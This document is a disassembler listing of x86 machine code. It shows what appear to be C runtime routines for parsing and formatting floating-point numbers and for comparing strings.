		cmp	bl, 31h		; jumptable 0042DBBF case 0
		jl	short loc_42DBD7
		cmp	bl, 39h
		jg	short loc_42DBD7


loc_42DBD0:				; CODE XREF: sub_42DB5C+C4j
					; sub_42DB5C+118j
		push	3
		jmp	loc_42DDF4
; ---------------------------------------------------------------------------


loc_42DBD7:				; CODE XREF: sub_42DB5C+6Dj
					; sub_42DB5C+72j
		cmp	bl, byte_449A48
		jnz	short loc_42DBE6


loc_42DBDF:				; CODE XREF: sub_42DB5C+124j
		push	5
		jmp	loc_42DE2C
; ---------------------------------------------------------------------------


loc_42DBE6:				; CODE XREF: sub_42DB5C+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_42DC0C
		dec	eax
		dec	eax
		jz	short loc_42DC00
		sub	eax, 3
		jnz	loc_42DECF
		jmp	loc_42DC8F
; ---------------------------------------------------------------------------


loc_42DC00:				; CODE XREF: sub_42DB5C+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DC0C:				; CODE XREF: sub_42DB5C+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DC15:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		cmp	bl, 31h		; jumptable 0042DBBF case 1
		mov	[ebp+var_10], edx
		jl	short loc_42DC22
		cmp	bl, 39h
		jle	short loc_42DBD0


loc_42DC22:				; CODE XREF: sub_42DB5C+BFj
		cmp	bl, byte_449A48
		jz	loc_42DCEA
		cmp	bl, 2Bh
		jz	short loc_42DC64
		cmp	bl, 2Dh
		jz	short loc_42DC64
		cmp	bl, 30h
		jz	short loc_42DC8F


loc_42DC3D:				; CODE XREF: sub_42DB5C+207j
		cmp	bl, 43h
		jle	loc_42DECF
		cmp	bl, 45h
		jle	short loc_42DC5D
		cmp	bl, 63h
		jle	loc_42DECF
		cmp	bl, 65h
		jg	loc_42DECF


loc_42DC5D:				; CODE XREF: sub_42DB5C+EDj
		push	6
		jmp	loc_42DE2C
; ---------------------------------------------------------------------------


loc_42DC64:				; CODE XREF: sub_42DB5C+D5j
					; sub_42DB5C+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_42DE2C
; ---------------------------------------------------------------------------


loc_42DC6C:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		cmp	bl, 31h		; jumptable 0042DBBF case 2
		jl	short loc_42DC7A
		cmp	bl, 39h
		jle	loc_42DBD0


loc_42DC7A:				; CODE XREF: sub_42DB5C+113j
		cmp	bl, byte_449A48
		jz	loc_42DBDF
		cmp	bl, 30h
		jnz	loc_42DE44


loc_42DC8F:				; CODE XREF: sub_42DB5C+9Fj
					; sub_42DB5C+DFj
		mov	eax, edx
		jmp	loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DC96:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		mov	[ebp+var_10], edx ; jumptable 0042DBBF case 3


loc_42DC99:				; CODE XREF: sub_42DB5C+184j
		cmp	dword_449A44, edx
		jle	short loc_42DCB2
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42DCC0
; ---------------------------------------------------------------------------


loc_42DCB2:				; CODE XREF: sub_42DB5C+143j
		mov	ecx, off_449838
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42DCC0:				; CODE XREF: sub_42DB5C+154j
		test	eax, eax
		jz	short loc_42DCE2
		cmp	[ebp+var_4], 19h
		jnb	short loc_42DCDA
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_42DCDD
; ---------------------------------------------------------------------------


loc_42DCDA:				; CODE XREF: sub_42DB5C+16Cj
		inc	[ebp+var_8]


loc_42DCDD:				; CODE XREF: sub_42DB5C+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42DC99
; ---------------------------------------------------------------------------


loc_42DCE2:				; CODE XREF: sub_42DB5C+166j
		cmp	bl, byte_449A48
		jnz	short loc_42DD51


loc_42DCEA:				; CODE XREF: sub_42DB5C+CCj
		mov	eax, esi
		jmp	loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DCF1:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		cmp	[ebp+var_4], 0	; jumptable 0042DBBF case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42DD0A


loc_42DCFD:				; CODE XREF: sub_42DB5C+1ACj
		cmp	bl, 30h
		jnz	short loc_42DD0A
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42DCFD
; ---------------------------------------------------------------------------


loc_42DD0A:				; CODE XREF: sub_42DB5C+19Fj
					; sub_42DB5C+1A4j ...
		cmp	dword_449A44, edx
		jle	short loc_42DD23
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42DD31
; ---------------------------------------------------------------------------


loc_42DD23:				; CODE XREF: sub_42DB5C+1B4j
		mov	ecx, off_449838
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42DD31:				; CODE XREF: sub_42DB5C+1C5j
		test	eax, eax
		jz	short loc_42DD51
		cmp	[ebp+var_4], 19h
		jnb	short loc_42DD4C
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_42DD4C:				; CODE XREF: sub_42DB5C+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42DD0A
; ---------------------------------------------------------------------------


loc_42DD51:				; CODE XREF: sub_42DB5C+18Cj
					; sub_42DB5C+1D7j
		cmp	bl, 2Bh
		jz	loc_42DC64
		cmp	bl, 2Dh
		jz	loc_42DC64
		jmp	loc_42DC3D
; ---------------------------------------------------------------------------


loc_42DD68:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		cmp	dword_449A44, edx ; jumptable 0042DBBF case 5
		mov	[ebp+var_24], edx
		jle	short loc_42DD84
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42DD92
; ---------------------------------------------------------------------------


loc_42DD84:				; CODE XREF: sub_42DB5C+215j
		mov	ecx, off_449838
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42DD92:				; CODE XREF: sub_42DB5C+226j
		test	eax, eax
		jz	loc_42DE44
		mov	eax, esi
		jmp	short loc_42DDF5
; ---------------------------------------------------------------------------


loc_42DD9E:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		lea	ecx, [edi-2]	; jumptable 0042DBBF case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42DDAE
		cmp	bl, 39h
		jle	short loc_42DDF2


loc_42DDAE:				; CODE XREF: sub_42DB5C+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_42DE2A
		dec	eax
		dec	eax
		jz	short loc_42DE1E
		sub	eax, 3
		jnz	loc_42DED2


loc_42DDC3:				; CODE XREF: sub_42DB5C+2A4j
		push	8
		jmp	short loc_42DE2C
; ---------------------------------------------------------------------------


loc_42DDC7:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		mov	[ebp+var_20], edx ; jumptable 0042DBBF case 8


loc_42DDCA:				; CODE XREF: sub_42DB5C+276j
		cmp	bl, 30h
		jnz	short loc_42DDD4
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42DDCA
; ---------------------------------------------------------------------------


loc_42DDD4:				; CODE XREF: sub_42DB5C+271j
		cmp	bl, 31h
		jl	loc_42DECF
		cmp	bl, 39h
		jg	loc_42DECF
		jmp	short loc_42DDF2
; ---------------------------------------------------------------------------


loc_42DDE8:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		cmp	bl, 31h		; jumptable 0042DBBF case 7
		jl	short loc_42DDFB
		cmp	bl, 39h
		jg	short loc_42DDFB


loc_42DDF2:				; CODE XREF: sub_42DB5C+250j
					; sub_42DB5C+28Aj
		push	9


loc_42DDF4:				; CODE XREF: sub_42DB5C+76j
		pop	eax


loc_42DDF5:				; CODE XREF: sub_42DB5C+240j
		dec	edi
		jmp	loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DDFB:				; CODE XREF: sub_42DB5C+28Fj
					; sub_42DB5C+294j
		cmp	bl, 30h
		jnz	short loc_42DE44
		jmp	short loc_42DDC3
; ---------------------------------------------------------------------------


loc_42DE02:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		cmp	[ebp+arg_18], 0	; jumptable 0042DBBF case 11
		jz	short loc_42DE32
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_42DE2A
		dec	eax
		dec	eax
		jnz	loc_42DED2


loc_42DE1E:				; CODE XREF: sub_42DB5C+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DE2A:				; CODE XREF: sub_42DB5C+258j
					; sub_42DB5C+2B8j
		push	7


loc_42DE2C:				; CODE XREF: sub_42DB5C+85j
					; sub_42DB5C+103j ...
		pop	eax
		jmp	loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DE32:				; CODE XREF: sub_42DB5C+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42DE36:				; CODE XREF: sub_42DB5C+5Dj
					; sub_42DB5C+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042DBBF case 10
		jz	loc_42DED4
		jmp	loc_42DBB3
; ---------------------------------------------------------------------------


loc_42DE44:				; CODE XREF: sub_42DB5C+12Dj
					; sub_42DB5C+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42DED4
; ---------------------------------------------------------------------------


loc_42DE4C:				; CODE XREF: sub_42DB5C+63j
					; DATA XREF: .text:off_42DFFDo
		mov	[ebp+var_20], 1	; jumptable 0042DBBF case 9
		xor	esi, esi


loc_42DE55:				; CODE XREF: sub_42DB5C+339j
		cmp	dword_449A44, 1
		jle	short loc_42DE6D
		movzx	eax, bl
		push	4
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_42DE7C
; ---------------------------------------------------------------------------


loc_42DE6D:				; CODE XREF: sub_42DB5C+300j
		mov	ecx, off_449838
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42DE7C:				; CODE XREF: sub_42DB5C+30Fj
		test	eax, eax
		jz	short loc_42DE9C
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42DE97
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42DE55
; ---------------------------------------------------------------------------


loc_42DE97:				; CODE XREF: sub_42DB5C+334j
		mov	esi, 1451h


loc_42DE9C:				; CODE XREF: sub_42DB5C+322j
		mov	[ebp+var_1C], esi


loc_42DE9F:				; CODE XREF: sub_42DB5C+371j
		cmp	dword_449A44, 1
		jle	short loc_42DEB7
		movzx	eax, bl
		push	4
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_42DEC6
; ---------------------------------------------------------------------------


loc_42DEB7:				; CODE XREF: sub_42DB5C+34Aj
		mov	ecx, off_449838
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42DEC6:				; CODE XREF: sub_42DB5C+359j
		test	eax, eax
		jz	short loc_42DECF
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42DE9F
; ---------------------------------------------------------------------------


loc_42DECF:				; CODE XREF: sub_42DB5C+99j
					; sub_42DB5C+E4j ...
		dec	edi
		jmp	short loc_42DED4
; ---------------------------------------------------------------------------


loc_42DED2:				; CODE XREF: sub_42DB5C+261j
					; sub_42DB5C+2BCj
		mov	edi, ecx


loc_42DED4:				; CODE XREF: sub_42DB5C+2DDj
					; sub_42DB5C+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_42DFBC
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42DF00
		cmp	[ebp+var_45], 5
		jl	short loc_42DEF4
		inc	[ebp+var_45]


loc_42DEF4:				; CODE XREF: sub_42DB5C+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42DF03
; ---------------------------------------------------------------------------


loc_42DF00:				; CODE XREF: sub_42DB5C+38Dj
		mov	eax, [ebp+var_C]


loc_42DF03:				; CODE XREF: sub_42DB5C+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42DFB2


loc_42DF0D:				; CODE XREF: sub_42DB5C+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_42DF1B
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_42DF0D
; ---------------------------------------------------------------------------


loc_42DF1B:				; CODE XREF: sub_42DB5C+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42DA95
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_42DF3A
		neg	eax


loc_42DF3A:				; CODE XREF: sub_42DB5C+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42DF45
		add	eax, [ebp+arg_10]


loc_42DF45:				; CODE XREF: sub_42DB5C+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_42DF4D
		sub	eax, [ebp+arg_14]


loc_42DF4D:				; CODE XREF: sub_42DB5C+3ECj
		cmp	eax, 1450h
		jle	short loc_42DF84
		mov	[ebp+var_2C], 1


loc_42DF5B:				; CODE XREF: sub_42DB5C+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_42DF67:				; CODE XREF: sub_42DB5C+454j
					; sub_42DB5C+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_42DFCD
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42DFE2
; ---------------------------------------------------------------------------


loc_42DF84:				; CODE XREF: sub_42DB5C+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_42DF94
		mov	[ebp+var_30], 1
		jmp	short loc_42DF5B
; ---------------------------------------------------------------------------


loc_42DF94:				; CODE XREF: sub_42DB5C+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42EB32
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_42DF67
; ---------------------------------------------------------------------------


loc_42DFB2:				; CODE XREF: sub_42DB5C+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_42DF67
; ---------------------------------------------------------------------------


loc_42DFBC:				; CODE XREF: sub_42DB5C+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42DFE2
; ---------------------------------------------------------------------------


loc_42DFCD:				; CODE XREF: sub_42DB5C+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42DFE2
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_42DFE2:				; CODE XREF: sub_42DB5C+426j
					; sub_42DB5C+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_42DB5C	endp

; ---------------------------------------------------------------------------
off_42DFFD	dd offset loc_42DBC6	; DATA XREF: sub_42DB5C+63r
		dd offset loc_42DC15	; jump table for switch	statement
		dd offset loc_42DC6C
		dd offset loc_42DC96
		dd offset loc_42DCF1
		dd offset loc_42DD68
		dd offset loc_42DD9E
		dd offset loc_42DDE8
		dd offset loc_42DDC7
		dd offset loc_42DE4C
		dd offset loc_42DE36
		dd offset loc_42DE02

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E02D	proc near		; CODE XREF: sub_42C832+2Bp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_42E08F
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_42E093
; ---------------------------------------------------------------------------


loc_42E08F:				; CODE XREF: sub_42E02D+5Aj
		mov	byte ptr [ebx+2], 20h


loc_42E093:				; CODE XREF: sub_42E02D+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42E0B9
		test	edi, edi
		jnz	short loc_42E0B9
		cmp	[ebp+arg_0], edi
		jnz	short loc_42E0B9


loc_42E0A4:				; CODE XREF: sub_42E02D+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42E2B7
; ---------------------------------------------------------------------------


loc_42E0B9:				; CODE XREF: sub_42E02D+6Cj
					; sub_42E02D+70j ...
		cmp	dx, si
		jnz	short loc_42E138
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_42E0D2
		cmp	[ebp+arg_0], 0
		jz	short loc_42E0E1


loc_42E0D2:				; CODE XREF: sub_42E02D+9Dj
		test	edi, 40000000h
		jnz	short loc_42E0E1
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_42E127
; ---------------------------------------------------------------------------


loc_42E0E1:				; CODE XREF: sub_42E02D+A3j
					; sub_42E02D+ABj
		test	cx, cx
		jz	short loc_42E0FB
		cmp	edi, 0C0000000h
		jnz	short loc_42E0FB
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E122
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42E10A
; ---------------------------------------------------------------------------


loc_42E0FB:				; CODE XREF: sub_42E02D+B7j
					; sub_42E02D+BFj
		cmp	edi, eax
		jnz	short loc_42E122
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E122
		push	offset a1Inf	; "1#INF"


loc_42E10A:				; CODE XREF: sub_42E02D+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_423260
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_42E119:				; CODE XREF: sub_42E02D+109j
		and	[ebp+var_4], 0
		jmp	loc_42E290
; ---------------------------------------------------------------------------


loc_42E122:				; CODE XREF: sub_42E02D+C5j
					; sub_42E02D+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_42E127:				; CODE XREF: sub_42E02D+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_423260
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_42E119
; ---------------------------------------------------------------------------


loc_42E138:				; CODE XREF: sub_42E02D+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42EB32
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42E199
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42E912
		pop	ecx
		pop	ecx


loc_42E199:				; CODE XREF: sub_42E02D+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_42E1B3
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42E1B6
		jmp	loc_42E0A4
; ---------------------------------------------------------------------------


loc_42E1B3:				; CODE XREF: sub_42E02D+173j
		mov	edi, [ebp+arg_C]


loc_42E1B6:				; CODE XREF: sub_42E02D+17Fj
		cmp	edi, 15h
		jle	short loc_42E1BE
		push	15h
		pop	edi


loc_42E1BE:				; CODE XREF: sub_42E02D+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_42E1D4:				; CODE XREF: sub_42E02D+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42DA3A
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_42E1D4
		test	esi, esi
		jge	short loc_42E1FE
		neg	esi
		and	esi, 0FFh
		jle	short loc_42E1FE


loc_42E1F1:				; CODE XREF: sub_42E02D+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42DA68
		dec	esi
		pop	ecx
		jnz	short loc_42E1F1


loc_42E1FE:				; CODE XREF: sub_42E02D+1B8j
					; sub_42E02D+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_42E25B
		mov	[ebp+arg_C], ecx


loc_42E20E:				; CODE XREF: sub_42E02D+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_42DA3A
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42DA3A
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42D9DC
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42DA3A
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_42E20E
		mov	eax, [ebp+arg_14]


loc_42E25B:				; CODE XREF: sub_42E02D+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42E298


loc_42E268:				; CODE XREF: sub_42E02D+248j
		cmp	eax, ecx
		jb	short loc_42E27B
		cmp	byte ptr [eax],	39h
		jnz	short loc_42E277
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_42E268
; ---------------------------------------------------------------------------


loc_42E277:				; CODE XREF: sub_42E02D+242j
		cmp	eax, ecx
		jnb	short loc_42E27F


loc_42E27B:				; CODE XREF: sub_42E02D+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_42E27F:				; CODE XREF: sub_42E02D+24Cj
		inc	byte ptr [eax]


loc_42E281:				; CODE XREF: sub_42E02D+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_42E290:				; CODE XREF: sub_42E02D+F0j
		mov	eax, [ebp+var_4]


loc_42E293:				; CODE XREF: sub_42E02D+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42E298:				; CODE XREF: sub_42E02D+239j
					; sub_42E02D+275j
		cmp	eax, ecx
		jb	short loc_42E2A8
		cmp	byte ptr [eax],	30h
		jnz	short loc_42E2A4
		dec	eax
		jmp	short loc_42E298
; ---------------------------------------------------------------------------


loc_42E2A4:				; CODE XREF: sub_42E02D+272j
		cmp	eax, ecx
		jnb	short loc_42E281


loc_42E2A8:				; CODE XREF: sub_42E02D+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42E2B7:				; CODE XREF: sub_42E02D+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_42E293
sub_42E02D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E2C0	proc near		; CODE XREF: sub_42CEB9+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42FA80
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_631748, ebx
		push	1
		pop	edi
		jnz	short loc_42E333
		push	edi
		mov	eax, offset dword_42F620
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42F12C	; CompareStringW
		test	eax, eax
		jz	short loc_42E310
		mov	dword_631748, edi
		jmp	short loc_42E333
; ---------------------------------------------------------------------------


loc_42E310:				; CODE XREF: sub_42E2C0+46j
		push	edi
		mov	eax, offset word_44D6A0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42F130	; CompareStringA
		test	eax, eax
		jz	loc_42E529
		mov	dword_631748, 2


loc_42E333:				; CODE XREF: sub_42E2C0+31j
					; sub_42E2C0+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_42E34A
		push	esi
		push	[ebp+arg_8]
		call	sub_42E53D
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_42E34A:				; CODE XREF: sub_42E2C0+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_42E35F
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_42E53D
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_42E35F:				; CODE XREF: sub_42E2C0+8Dj
		mov	eax, dword_631748
		cmp	eax, 2
		jnz	short loc_42E384
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42F130	; CompareStringA
		jmp	loc_42E52B
; ---------------------------------------------------------------------------


loc_42E384:				; CODE XREF: sub_42E2C0+A7j
		cmp	eax, edi
		jnz	loc_42E529
		cmp	[ebp+arg_18], ebx
		jnz	short loc_42E399
		mov	eax, dword_6314D8
		mov	[ebp+arg_18], eax


loc_42E399:				; CODE XREF: sub_42E2C0+CFj
		cmp	esi, ebx
		jz	short loc_42E3A6
		cmp	[ebp+arg_14], ebx
		jnz	loc_42E43E


loc_42E3A6:				; CODE XREF: sub_42E2C0+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_42E3B3


loc_42E3AB:				; CODE XREF: sub_42E2C0+13Cj
					; sub_42E2C0+16Dj
		push	2


loc_42E3AD:				; CODE XREF: sub_42E2C0+146j
		pop	eax
		jmp	loc_42E52B
; ---------------------------------------------------------------------------


loc_42E3B3:				; CODE XREF: sub_42E2C0+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_42E3BF


loc_42E3B8:				; CODE XREF: sub_42E2C0+151j
					; sub_42E2C0+159j ...
		mov	eax, edi
		jmp	loc_42E52B
